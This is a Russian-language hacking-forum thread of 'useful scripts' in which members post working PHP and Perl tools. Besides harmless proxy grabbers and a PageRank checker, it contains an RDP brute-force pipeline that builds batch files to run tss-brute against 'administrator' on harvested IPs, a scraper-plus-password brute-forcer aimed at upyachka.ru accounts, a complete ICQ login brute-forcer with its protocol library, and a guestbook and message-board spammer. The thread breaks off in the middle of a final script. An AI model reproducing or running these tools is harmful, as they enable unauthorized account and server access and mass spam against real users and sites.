Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Граббер HTTP proxy с ProxyFire.net

    Вот еще только что написал один граббер для имхо хорошоге сайта с проксями(ProxyFire.net)
    PHP:
    <?
    //c0ded by Gaus//
    echo "<b>HTTP elite</b><br>";
    $file = file_get_contents('http://www.proxyfire.net/index.php?pageid=eliteproxylist') ; 
    preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/', $file, $out); 

    foreach(
    $out[0] as $line)
         {
    list(
    $ip,$port) = explode("⃧", rtrim($line));
    print 
    $ip.":".$port."<br>";
         }
    echo 
    "<b>HTTP anon.</b><br>";
    $file = file_get_contents('http://www.proxyfire.net/index.php?pageid=anonymousproxylist') ; 
    preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/', $file, $out); 

    foreach(
    $out[0] as $line)
         {
    list(
    $ip,$port) = explode("⃧", rtrim($line));
    print 
    $ip.":".$port."<br>";
         }
    ?>
     
    #601 Gaus, 12 Feb 2009
    Last edited: 18 Feb 2009
  2. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Граббер SOCKS с ProxyFire.net

    Граббер SOCKS с ProxyFire.net

    PHP:
    <?
    //c0ded by Gaus//
    echo "<b>SOCKS4</b><br>";
    $file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks4proxylist') ; 
    preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/', $file, $out); 

    foreach(
    $out[0] as $line)
         {
    list(
    $ip,$port) = explode("⃧", rtrim($line));
    print 
    $ip.":".$port."<br>";
         }
    echo 
    "<b>SOCKS5</b><br>";
    $file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks5proxylist') ; 
    preg_match_all('/<tr ><td>(.*?)\&#8423\;<\/td><td>(.*?)<\/td><td>/', $file, $out); 

    foreach(
    $out[0] as $line)
         {
    list(
    $ip,$port) = explode("⃧", rtrim($line));
    print 
    $ip.":".$port."<br>";
         }
    ?>
     
    #602 Gaus, 12 Feb 2009
    Last edited: 18 Feb 2009
  3. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    универсальний граббер ір'шек.
    (можно использовать для граббинга прокси/сокси/..)

    @proxy_serv - масив с сайтами. можна добавить и свой)

    perl:
    PHP:
    use IO::Socket;

    # eLwaux
    # iCQ 7434214
    print q[
     
    proxy grabber
     
    ..eLwaux(c)2009
     
    ]."\n";
     
    #=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

    my $print_proxy = 0;
    my $result_file = 'proxy.txt';
    my @proxy_serv  = (
        
    'http://http.proxylife.org/index.php?sort=down_speed&sortby=desc',
        
    'http://www.samair.ru/proxy/index.html',
        
    'http://proxy.asechka.ru/index.php?page=proxylist',
        
    'http://madnet.name/tools/proxy/index.php');

    #=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

    my $all_pr = 0;

    foreach 
    my $proxy_s(@proxy_serv) {
        
    my ($host) = ($proxy_s=~'http://([\w\.]+)/.*');
        print 
    '  -- '.$host."\n";
        
        
    $re = POST($proxy_s);
        
        @
    ips = split(/\n/,ip_parce($re));
        
    $all_pr+=scalar(@ips);
        
        foreach 
    my $ip(@ips){
            print 
    '     '.$ip."\n" if ($print_proxy==1);
            
    s2f($result_file,$ip."\n");
            }
        
        print 
    '     get '.scalar(@ips)." proxy\n\n";    
    }

    print 
    ' get: '.$all_pr.' proxy';

    <
    stdin>;
    exit;

    #=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

    sub ip_parce { #list
        
    my $result;
        
    my $ips = $_[0];
        while (
    $ips=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):{0,}(\d{1,5}){0,}/) {
            
    my ($ip,$port)=($1,$2);
            
    $port = '8080' if ($port eq '');
            
    $result.="$ip:$port\n";
            
    substr($ips,0,index($ips,$ip)+length($ip))='';
        }
        return 
    $result;
    }

    sub POST {#url
        
    my $url  = $_[0];
        if (
    $url =~ 'http://([\w\.]+)/.*') {$host=$1};
        
        
    $header  = "POST ".$url." HTTP/1.1\r\n".
               
    "Host: ".$host."\r\n".
               
    "Content-Length: 0\r\n\r\n".
               
    "\r\n\r\n";
        
    my $sock = sock($host);
        print 
    $sock $header;
        while (
    my $a = <$sock>) {if($a=~/<.html>/){last;} else {$answ.=$a;}}
        
    #sysread($sock,$answ,100000);
        
    close($sock);
        
        return 
    $answ;
    }

    # create socket
    sub sock {#host
        
    my $sock;
        do {
            
    $sock = new IO::Socket::INET 
                
    (    PeerAddr => $_[0],
                       
    PeerPort => 80, 
                       
    PeerProto => 'tcp', 
                       
    TimeOut => 10);
            } while (!
    $sock);
        return 
    $sock;
    }

    # save file
    sub s2f {# filename, text
        
    open(FILE, '>>'.$_[0]);                                
        
    flock(FILE, LOCK_EX);#lock file
        
    print FILE $_[1];
        
    flock(FILE, LOCK_UN);#unlock file
        
    close(FILE);
    }

    # read file
    sub r2f { #filename
        
    open(DESC, $_[0]);
        
    read(DESC,my $result,-s $_[0]);
        
    close(DESC);
        return 
    $result;
    }
     
    1 person likes this.
  4. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    моя маленькая утилита для брута дедов.
    на входе 3389.txt
    на виходе "! VNC.bat".

    в скрипте можно изменить:
    $VNC = 'программа';
    $port = 'порт';
    $thread = 'потоков';

    в результате будет создан файл $VNC с содержимим:
    $VNC -i 1.2.3.4-5.6.7.8 -p $port -cT -T $thread
    пример:
    VNC.exe -i 195.79.127.104-195.79.127.111 -p 3389 -cT -T 2000


    PHP:
    use Fcntl ':flock';

    $VNC = 'VNC.exe';
    $port = '3389';
    $thread = '2000';

    my $m = '';
    open myFILE, "<3389.txt" or die $!;
    while (<
    myFILE>) {
        @
    c  = split(/\s/,$_);
        
    $m = $VNC.' -i '.@c[0].'-'.@c[1].' -p '.$port.' -cT -T '.$thread;

        
    open(FILE, '>>! VNC.bat') || die(" [-] could not save file!\n");                                
        
    flock(FILE, LOCK_EX);
        print 
    FILE $m."\n";
        
    flock(FILE, LOCK_UN);
        
    close(FILE);
        
        }
    close myFILE;
     
  5. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    после брута ір с помощью VNC.exe прога создает VNC_bypauth.txt, в котором много нужних вам ір вида "195.80.10.131 :3389 ".

    етот скрипт витягивает из VNC_bypauth.txt ір, и формирует готовий .bat файл для брута дедов "! GO.bat" tss-brute'ом.

    в скрипте изменяем:
    $tss = 'полний путь до tss-brute';
    $pass = 'полний путь до словаря с паролями';
    $fold = 'папка для врем файлов//';
    $port = ':порт';
    $file = 'VNC_bypauth.txt';

    в результате будет что-то типа:
    Code:
    "D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.131 >>res//195.80.10.131
    "D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.107 >>res//195.80.10.107
    "D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.11.26 >>res//195.80.11.26
    "D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.13.243 >>res//195.80.13.243
    PHP:
    #eLwaux
    use Fcntl ':flock';

    $tss  = 'D:\Sorted\ded\4\tss-brute.exe';
    $pass = 'D:\Sorted\ded\4\pass.txt';
    $fold = 'res//';
    $port = ':3389';
    $file = 'VNC_bypauth.txt';

    my $m = '';

    open(DESC, $file);
    read(DESC,$res,-s $file);
    close(DESC);

    while (
    $res ne '') {
        if (
    $res=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+$port/){
            (
    $ip)=$1;
            print 
    $ip."\n";
                
    open(FILE, '>>! GO.bat') || die(" [-] could not save file!\n");                                
                
    flock(FILE, LOCK_EX);
                print 
    FILE '"'.$tss.'" -w "'.$pass.'"-u administrator '.$ip.' >>'.$fold.$ip."\n";
                
    flock(FILE, LOCK_UN);
                
    close(FILE);
            
    $res = substr($res, index($res,$ip)+length($ip), length($res));
            }  else {
    $res='';}
        }
    #eLwaux
     
    1 person likes this.
  6. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    PR, тиЦ чекер на perl'e через сайт www.pr-cy.ru

    pr-tic.pl сервер
    сервер по умолчанию - google.com

    PHP:
    #! /usr/bin/perl -eLwaux

    use IO::Socket;
    use 
    warnings;

    my $site = $ARGV[0] || 'google.com';


    $header  = "POST http://www.pr-cy.ru/analysis/?url=".$site." HTTP/1.1\r\n".
           
    "Host: pr-cy.ru\r\n".
           
    "User-Agent: eL!\r\n".
           
    "Content-Type: application/x-www-form-urlencoded\r\n".
           
    "Connection: Close\r\n".
           
    "Content-Length: 0\r\n\r\n".
           
    "\r\n\r\n";

    my $sock = sock();
    print 
    $sock $header;

    #my $answ = '';
    #my $answer = '';
    #while($answer = <$sock>){$answ .= $answer;}
    read($sock,my $answ,100000);    


    print 
    cyr("\n ".$site."\n\n");

    # заголовок
    if (($answ)=~/<b class="grey">Заголовок:<\/b>(.*)<br \/>/) {
        print 
    cyr(' Заголовок: '.$1."\n") 
        }
        
    # ip
    if (($answ)=~/<b class="grey">IP:<\/b> (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\s+/) {
        print 
    cyr(' IP: '."$1.$2.$3.$4"."\n")
        }
        

    # тиЦ
    if (($answ)=~/Яндекс тИЦ<\/td>[\s|\t]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
        print 
    cyr(' тИЦ : '.$1."\n");
        }
        
    # PR
    if (($answ)=~/PageRank<\/td>[\s|\t|\n]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
        print 
    cyr(' PageRank : '.$1."\n");
        }

    <
    stdin>;
    exit;


    close($sock);
    <
    stdin>;
                
                
    #create new socket connection
    sub sock {
        
    my $sock;
        do {
            
    $sock = new IO::Socket::INET 
                
    (
                    
    PeerAddr => 'pr-cy.ru',
                       
    PeerPort => 80, 
                       
    PeerProto => 'tcp', 
                       
    TimeOut => 10
                
    ) or print "[-] connection error!";
            } while (!
    $sock);
        return 
    $sock;
    }


    sub cyr {
        
    $phrase = shift;
        
    $phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
        return 
    $phrase;
        }


    #=============================================================================
    #=============================================================================
     
  7. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    месяц назад многие из "болталки" просили инвайт на upyachka.ru.
    вот мой брутер

    пароли в pass.txt кладем

    perl:
    PHP:
    #=============================================================================
    #=============================================================================

    use IO::Socket;

    sub up{#num
    $header  = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
           
    "Host: upyachka.ru\r\n".
           
    "User-Agent: upyachka\r\n".
           
    "Content-Type: application/x-www-form-urlencoded\r\n".
           
    "Connection: Close\r\n".
           
    "Content-Length: 0\r\n\r\n".
           
    "\r\n\r\n";

    my $sock = sock();
    print 
    $sock $header;

    my $res = '';
    my $answer = '';
    while(
    $answer = <$sock>){$res .= $answer;}

    close($sock);
    return 
    $res;
    }



    sub login{#name,pass
    my $post = 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
    my $header  = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
           
    "Host: upyachka.ru\r\n".
           
    "User-Agent: upyachka\r\n".
           
    "Content-Type: application/x-www-form-urlencoded\r\n".
           
    "Connection: Close\r\n".
           
    "Content-Length: ".length($post)."\r\n\r\n".
           
    "$post\r\n\r\n";

    my $sock = sock();
    print 
    $sock $header;

    my $res = '';
    my $answer = '';
    while(
    $answer = <$sock>){$res .= $answer;}
    if (
    $res =~ /<input name=.login. type=.text. value=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
    {print 
    '+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
    close($sock);
    return 
    $res;
    }



    my @u;

    for (
    $i=1;$i<15;$i++){
    print 
    $i."...\n";
    $res = up($i);
    while(
    length($res)>1) {
        
    $b = 0;
        
        
    $res =~ /<SPAN class=.user.logout. noinfo=.true.>(\W+|\w+)<\/SPAN> написал/;
        
    $res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));

        foreach 
    my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
        @
    u[scalar(@u)]=$1 if ($b==0);
    }
    }


    print 
    'getted: '.scalar(@u).' names..'."\n";
    print 
    "brute:\n";

    ##brute

     
    open (FILE, '<pass.txt');
     
    my @pass : shared = <FILE>;
     
    chomp(@pass);
     
    close(FILE);

    foreach 
    my $xx(@u) {
        foreach 
    my $ps(@pass){    
            
    login($xx,$ps);
            }
        
    login($xx,$xx);
        }
        

        
        
    <
    stdin>;

    #=============================================================================
    #=============================================================================

         
    #create new socket connection
    sub sock {
        
    my $sock;
        do {
            
    $sock = new IO::Socket::INET 
                
    (
                    
    PeerAddr => 'upyachka.ru',
                       
    PeerPort => 80, 
                       
    PeerProto => 'tcp', 
                       
    TimeOut => 10
                
    ) or print "[-] connection error!";
            } while (!
    $sock);
        return 
    $sock;
    }


    sub cyr
    {
        
    $phrase = shift;
        
    $phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
        return 
    $phrase;
    }

    #=============================================================================
    #=============================================================================
     
    1 person likes this.
  8. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    только что написал брут асек на пыхе, может кому пригодится
    icqlib.php
    PHP:
    <?
    class 
    ICQclient
    {
        var 
    $socket, $server, $port, $connected;
        var 
    $uin, $password, $logged;
        var 
    $client = array(), $sequence, $TLV = array();
        var 
    $uin_sendto, $message;

        function 
    ICQclient($uin, $password)
        {
            
    $this->server = "login.icq.com";
            
    $this->port = 5190;
            
    $this->uin = (string )$uin;
            
    $this->password = $password;
            
    $this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
                
    "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
        }

        function 
    connect()
        {
            
    $this->socket = @fsockopen($this->server, $this->port);
            if (!
    $this->socket)
                return 
    false;
            else
            {
                
    $this->connected = true;
                return 
    true;
            }
        }

        function 
    connect_migration()
        {
            list(
    $server, $port) = explode(":", $this->TLV[0x05]);
            
    $this->socket = @fsockopen($server, $port);
        }

        function 
    login()
        {
            if (!
    $this->connected)
                
    $this->connect();
            if (!
    $this->connected)
                return 
    false;
            
    $this->receive_packet();
            
    $this->sequence = rand(0x0000, 0xFFFF);
            
    $this->send_packet("login");
            
    $SNAC = $this->receive_packet();
            
    $this->parse_SNAC($SNAC);
            if (!(@
    $this->TLV[0x05] and @$this->TLV[0x06]))
                return 
    false;
            
    $this->connect_migration();
            
    $this->send_packet("cookie");
            
    $this->receive_packet();
            
    $this->send_packet("ready");
            
    $this->receive_packet();
            
    $this->logged = true;
            return 
    true;
        }

        function 
    send_message($uin, $message)
        {
            if (!
    $this->logged)
                return 
    false;
            
    $this->uin_sendto = $uin;
            
    $this->message = $message;
            
    $this->send_packet("message");
            
    $this->receive_packet();
            return 
    true;
        }

        function 
    getstatus($uin)
        {
            if (!
    $this->logged)
                return 
    false;
            
    $this->uin_sendto = $uin;
            
    $this->send_packet("userinfo");
            
    $SNAC = $this->receive_packet();
            list(, 
    $subfamily) = unpack("C", $SNAC[3]);
            if (
    $subfamily == 6)
            {
                list(, 
    $uin_length) = unpack("C", $SNAC[10]);
                
    $this->parse_SNAC(substr($SNAC, 15 + $uin_length));
                if (
    $this->TLV[6])
                    list(, 
    $status_code) = unpack("C", $this->TLV[6][3]);
                else
                    
    $status_code = 0xFF;
                switch (
    $status_code)
                {
                    case 
    0x00:
                        
    $status = "online";
                        break;
                    case 
    0x01:
                        
    $status = "away";
                        break;
                    case 
    0x02:
                        
    $status = "dnd";
                        break;
                    case 
    0x03:
                        
    $status = "dnd";
                        break;
                    case 
    0x04:
                        
    $status = "na";
                        break;
                    case 
    0x05:
                        
    $status = "na";
                        break;
                    case 
    0x10:
                        
    $status = "occupied";
                        break;
                    case 
    0x11:
                        
    $status = "occupied";
                        break;
                    case 
    0x13:
                        
    $status = "dnd";
                        break;
                    case 
    0x20:
                        
    $status = "free4chat";
                        break;
                    default:
                        
    $status = "undefined";
                        break;
                }
            } else
                
    $status = "offline";
            return 
    $status;
        }

        function 
    disconnect()
        {
            
    $this->connected = $this->logged = false;
            return @
    fclose($this->socket);
        }

        function 
    log_packet($packet, $type = "packet")
        {
            global 
    $debug_log;
            
    $debug_log .= "<p>$type:<br>";
            for (
    $i = 0; $i < strlen($packet); $i++)
            {
                if (
    strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                    
    $debug_log .= "0";
                
    $debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
            }
            
    $debug_log .= "</p>";
        }

        function 
    send_packet($type)
        {
            global 
    $debug;
            list(
    $channel, $SNAC) = $this->gen_SNAC($type);
            
    $FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
            
    $packet = $FLAP . $SNAC;
            if (
    $debug)
                
    $this->log_packet($packet, "send");
            @
    fwrite($this->socket, $packet);
            
    $this->sequence++;
            if (
    $this->sequence == 0xFFFF)
                
    $this->sequence = 0x0000;
        }

        function 
    receive_packet()
        {
            global 
    $debug;
            
    $FLAP = @fread($this->socket, 6);
            list(, 
    $length) = @unpack("n", substr($FLAP, 4, 2));
            
    $SNAC = @fread($this->socket, $length);
            
    $packet = $FLAP . $SNAC;
            if (
    $debug)
                
    $this->log_packet($packet, "receive");
            return 
    $SNAC;
        }

        function 
    gen_SNAC($type)
        {
            if (
    $type == "login")
            {
                
    $SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
                    
    xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
                    
    gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
                    
    gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
                    
    2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
                    
    4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
                    
    client["country"]);
                
    $channel = 1;
            }
            if (
    $type == "cookie")
            {
                
    $SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
                
    $channel = 1;
            }
            if (
    $type == "ready")
            { 
    // SNAC(01,02) - CLI_READY
                
    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                    
    "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                    
    "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
                
    $channel = 2;
            }
            if (
    $type == "message")
            { 
    // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
                
    $this->TLV[0x0501] = pack("C", 1);
                
    $this->TLV[0x0101] = pack("N", 0) . $this->message;
                
    $this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                    
    $this->TLV[0x0101]);
                
    $SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
                    
    uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
                    
    gen_TLV(0x06, "");
                
    $channel = 2;
            }
            if (
    $type == "userinfo")
            { 
    // SNAC(02,05) - CLI_LOCATION_INFO_REQ
                
    $SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
                    
    uin_sendto);
                
    $channel = 2;
            }
            return array(
    $channel, $SNAC);
        }

        function 
    parse_SNAC($SNAC)
        {
            unset(
    $this->TLV);
            while (
    strlen($SNAC) > 0)
            {
                list(, 
    $type, $length) = unpack("n2", substr($SNAC, 0, 4));
                
    $this->TLV[$type] = substr($SNAC, 4, $length);
                
    $SNAC = substr($SNAC, 4 + $length);
            }
        }

        function 
    gen_TLV($type, $value, $length = false)
        {
            switch (
    $length)
            {
                case 
    1:
                    
    $format = "C";
                    break; 
    // unsigned char (8 bit)
                
    case 2:
                    
    $format = "n";
                    break; 
    // unsigned short (16 bit, big endian byte order)
                
    case 4:
                    
    $format = "N";
                    break; 
    // unsigned long (32 bit, big endian byte order)
                
    default:
                    
    $format = "a*";
                    break; 
    // NUL-padded string
            
    }
            if (
    $length === false)
                
    $length = strlen($value);
            return 
    pack("nn" . $format, $type, $length, $value);
        }
    }

    function 
    xor_encrypt($password)
    {
        
    $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
        
    $xored = "";
        for (
    $i = 0; $i < strlen($password); $i++)
            
    $xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
        return 
    $xored;
    }

    function 
    put($data, $file)
    {
        global 
    $go;
        
    $f = fopen($file, "a") or die("File " . $file . " doesn't exist");
        
    fwrite($f, $data);
        
    fclose($f);
        
    $go++;
    }
    ?>
    brute.php
    PHP:
    <?php
    set_time_limit
    (0);
    ignore_user_abort(1);

    require_once (
    "icqlib.php");

    $source = "source.txt";
    $good = "good.txt";
    $stat = "stat.txt";
    $bad = "bad.txt";

    $file_s = file($source);
    $count = count($file_s);
    $total = $go = $guins = $pps = $buins = 0;
    foreach (
    $file_s as $str)
    {
        list(
    $uin, $password) = explode(";", $str);
        
    $uin = trim($uin);
        
    $password = trim($password);
        
    $mtime = microtime();
        
    $mtime = explode(" ", $mtime);
        
    $mtime = $mtime[1] + $mtime[0];
        
    $tstart = $mtime;
        
    $debug = false;
        
    $icq = new ICQclient($uin, $password);
        
    $icq->connect();
        if (
    $icq->connected)
        {
            
    $icq->login();
            if (
    $icq->logged)
            {
                
    $put = put($str, $good);
                
    $guins++;
            } else
            {
                
    $put = put($str, $bad);
                
    $buins++;
            }
        }
        
    $mtime = microtime();
        
    $mtime = explode(" ", $mtime);
        
    $mtime = $mtime[1] + $mtime[0];
        
    $tend = $mtime;
        
    $total = $total + ($tend - $tstart);
    }
    if (
    $go != 0)
    {
        
    $pps = 1 / ($total / $go);
    }
    $pps = round($pps, 3);
    $stats = "
    ++++++++++++++++++++++++++++++++
    +== ICQ BRUTE BY ZEDI        ==+
    +==============================+
    + Попыток сделано: " 
    . $go . "           +
    + из них:                      +
    + удачных: " 
    . $guins . "                   +
    + неудачных: " 
    . $buins . "                 +
    +==============================+
    + Ср. скорость: " 
    . $pps . "PPS           +
    ++++++++++++++++++++++++++++++++
    "
    ;
    $put = put($stats, $stat);
    ?>
    и файлы нужно создать source.txt bad.txt good.txt stat.txt


    или можно все скачать сразу _http://slil.ru/26941253
     
    #608 Zedi, 21 Feb 2009
    Last edited: 21 Feb 2009
    1 person likes this.
  9. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    когда то писал спамер гостевых книг, досок объявлений и пр.
    скрипт спамит доски без капч и одного ввида
    им можно не только спаминь но и региться на нескольких сайтах одновремнно и т.п. но без капч конечно

    как пользоваться:
    вводим список url'ов к гестбукам
    вводим данные для постинга в виде name=name и т.п.(как в пост запросе)
    вводим текст который появлюется при успешной отправке сообщения (для того чтобы знать сколько наспамил)
    для установки set_time_limit и ignore_user_abort выбираем да

    P.S. писал давно, могут быть ошибки, скажите исправлю, ну и ваши предложения по скрипту))

    PHP:
    <?php
    error_reporting 
    ( E_ALL );
    echo 
    '<html>
          <head>
            <title>Submiter by Zedi</title>
            <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
            <style type="text/css">
            a:link        {color: #9a9a9a; text-decoration: none;}
            a:active        {color: #9a9a9a; text-decoration: none;}
            a:visited        {color: #9a9a9a; text-decoration: none;}
            a:hover        {color: #000000; text-decoration: none;}

            input, textarea, select
            {
              background-color: #ffffff;
              border:#000000 1pt solid;
              color: #000000;
              font-size: 9px;
              margin: 0px;
              padding-bottom: 1px;
              padding-left: 2px;
              padding-right: 0px;
              padding-top: 0px;
              font-family: Verdana, arial, Helvetica;
              line-height: 9pt;
            }
            
            body, table
            {
              font-family: Verdana, arial, Helvetica;
              color: #000000;
              font-size: 11px;
            }
           </style>
          </head>
          <body bgcolor="#f0f0f0">'
    ;
    if (isset ( 
    $_POST ['submiter'] )) {
        foreach (
    $_POST as $post_date_key=>$post_date) {
            if(
    $post_date_key != "ok_mess"){
            if(empty(
    $post_date)) {
                die(
    "Вы не заполнили поля");
            }
            }
        }
        
    $list = $_POST['list'];
    $data = $_POST['data'];
    $ok_mess = $_POST['ok_mess'];
    if(
    $_POST['set'] == 1) {
        
    set_time_limit(0);
        
    ignore_user_abort(1);
    }
    $urls = explode("\n",$list);
    foreach (
    $urls as $Host) {    
        
    $url_array = parse_url($Host);
        
    $Url = $url_array["host"];
        
    $Path = $url_array["path"];
        if(isset(
    $url_array["port"])) {
            
    $Port = $url_array["port"];
        }
        else {
            
    $Port = 80;
        }
        
    $errno = $errstr = 0;
        
    $f = fsockopen($Url,$Port,$errno,$errstr,10);
        if(!
    $f){
            echo 
    $errno.':'.$errstr;
            continue;
        }
        
    $header = "POST $Path HTTP/1.1\r\n";
        
    $header .= "Host: $Url\r\n";
        
    $header .= "User_agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9) Gecko/2008052906 Firefox/3.0\r\n";
        
    $header .= "Content-type: application/x-www-form-urlencoded\r\n";
        
    $header .= "Connection: Close\r\n";
        
    $header .= "Referer: $Host\r\n";
        
    $header .= "Content-length:".strlen($data)."\r\n\r\n".$data;
        
    stream_set_timeout($f,10);
        
        
    fputs($f,$header);
        
        if(
    strlen($ok_mess)){
            
    $page = "";
            while(!
    feof($f)) {
                
    $page .= fgets($f,128);
            }
            if(
    strpos($page,$ok_mess)) {
                echo 
    $Url.$Port."<font color='green'>OK</font> <br>";
            }
            else {
                echo 
    $Url.$Port."<font color='red'>Fail</font> <br>";
            }
        }
        else {
            if(
    $errno == 0){
                echo 
    $Url.$Port."<font color='green'>OK </font><br>";
            }
            else {
                echo 
    $Url.$Port."<font color='red'>Fail</font> <br>";
            }
        }
        
    fclose($f);
        
    }

    } else {
    echo 
    "<form method='POST' name='submit'><table border=0>
    <tr><td width='150'>Введите список для спама</td><td><textarea rows='3' cols='17' name='list'></textarea></td></tr>
    <tr><td width='150'>Введите данные</td><td><input type='text' name='data' size='20'></td></tr>
    <tr><td width='150'>Текст об успешной отправке</td><td><input name='ok_mess' type='text' size='20'></td></tr>
    <tr><td width='150'>Установить STL и IUB</td><td><select name='set'><option value='1' selected='selected'>Да</option><option value='0'>Нет</option></select></td></tr>
    <tr><td width='150'>Начать спам</td><td><input type='submit' name='submiter' value='Пуск'> </td></tr>
    </table></form>"
    ;
    }
    echo 
    "Разработка:Zedi</body></html>";
    ?>
     
    #609 Zedi, 21 Feb 2009
    Last edited: 21 Feb 2009
    1 person likes this.
  10. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    CURL + PROXY

    Маленькая демонстрация того, как можно использовать curl с proxy (вроде не было еще):

    PHP:
    <?php

    function get($url,$proxy) { 
            
            
    $ch = curl_init();   
            
    curl_setopt($ch, CURLOPT_URL,$url); 
            
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 
            
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
            
    curl_setopt($ch, CURLOPT_PROXY, "$proxy"); 
            
    $ss=curl_exec($ch); 
            
    curl_close($ch); 
            return 
    $ss; 
    } 



          
    $prox = '201.227.66.18:3128';
          
    $a=get('http://2ip.ru/',$prox); 
          echo 
    $a;

    ?>
     
  11. Zedi

    Zedi Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    316
    Likes Received:
    120
    Reputations:
    13
    генератор по диапазонам ввида uin;pass, подойдет для моего брута который выше, удобно тем у кого инет медленный и на хост чтоб файл не заливать большой, генерирует по диапазону на один пароль
    PHP:
    <?php
    set_time_limit
    (0);
    ignore_user_abort(1);
    echo 
